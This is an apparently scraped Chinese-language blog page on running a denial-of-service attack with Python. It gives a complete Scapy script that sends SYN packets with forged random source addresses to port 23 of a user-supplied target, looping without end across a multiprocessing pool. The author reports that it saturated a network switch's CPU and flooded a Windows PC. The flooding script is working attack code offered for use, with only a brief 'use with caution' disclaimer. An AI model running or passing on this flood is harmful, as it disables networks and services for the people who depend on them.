使用python进行DOS攻击(CPU 100%)

您所在的位置:网站首页 cc攻击脚本代ip池 使用python进行DOS攻击(CPU 100%)

使用python进行DOS攻击(CPU 100%)

2023-10-18 12:53| 来源: 网络整理| 查看: 265

 在目标主机上可以看到有接收到大量的SYN数据包

 

进一步优化

单凭这简单的脚本想造成DoS攻击是不可能的。想要更快地建立更多的连接而你的设备性能又足够地好可以使用多进程。

 

我这里使用的是进程池

附上进程池相关参数说明:

po = Pool(num)  # num表示可以同时执行的进程数量,默认大小是CPU的核心数

multiprocessing.Pool常用函数解析:

apply_async(func[, args[, kwds]]) :使用非阻塞方式调用func(并行执行,堵塞方式必须等待上一个进程退出才能执行下一个进程),args为传递给func的参数列表,kwds为传递给func的关键字参数列表;

close():关闭Pool,使其不再接受新的任务;

terminate():不管任务是否完成,立即终止;

join():主进程阻塞,等待子进程的退出, 必须在close或terminate之后使用;

# -*- coding: gbk -*- # 制作人:tianwen.zhao(Tim) from scapy.all import * import random import multiprocessing def syn_flood(dst): src = str(random.randint(1,255)) + "." + str(random.randint(1,255)) + "." + str(random.randint(1,255)) + "." + str(random.randint(1,255)) sport = random.randint(40000,65535) dport = 23 send = sr(IP(src=src,dst=dst)/TCP(flags="S",sport=sport,dport=dport),timeout=0.01) def Dos(): dst = input("please input your attack IP:") pool = multiprocessing.Pool(4) # 我电脑是4核 while True: try: pool.apply_async(syn_flood,(dst,)) except KeyboardInterrupt: pool.terminate() break def main(): Dos() if __name__=="__main__": main()

 

效果:

正常情况:

运行脚本后

 当然了,我这里是一台二层性能较弱的交换机,运行脚本后交换机的CPU瞬间满了,连命令都敲不动了。可以看到占用CPU最多的进程是 IP Input,说明交换机接收太多的数据包处理不过来(有点类似于广播风暴),如果你使用show interface的话可以看到接口短时间内接收到大量的数据,这里我当时忘记截图了。。

 

同时我也使用了win10进行测试,可以看到PC在短时间内瞬间建立了大量的连接

 

 

PS:本次内容仅供参考,请慎用。

 

 

 

 

 



【本文地址】


今日新闻


推荐新闻


CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3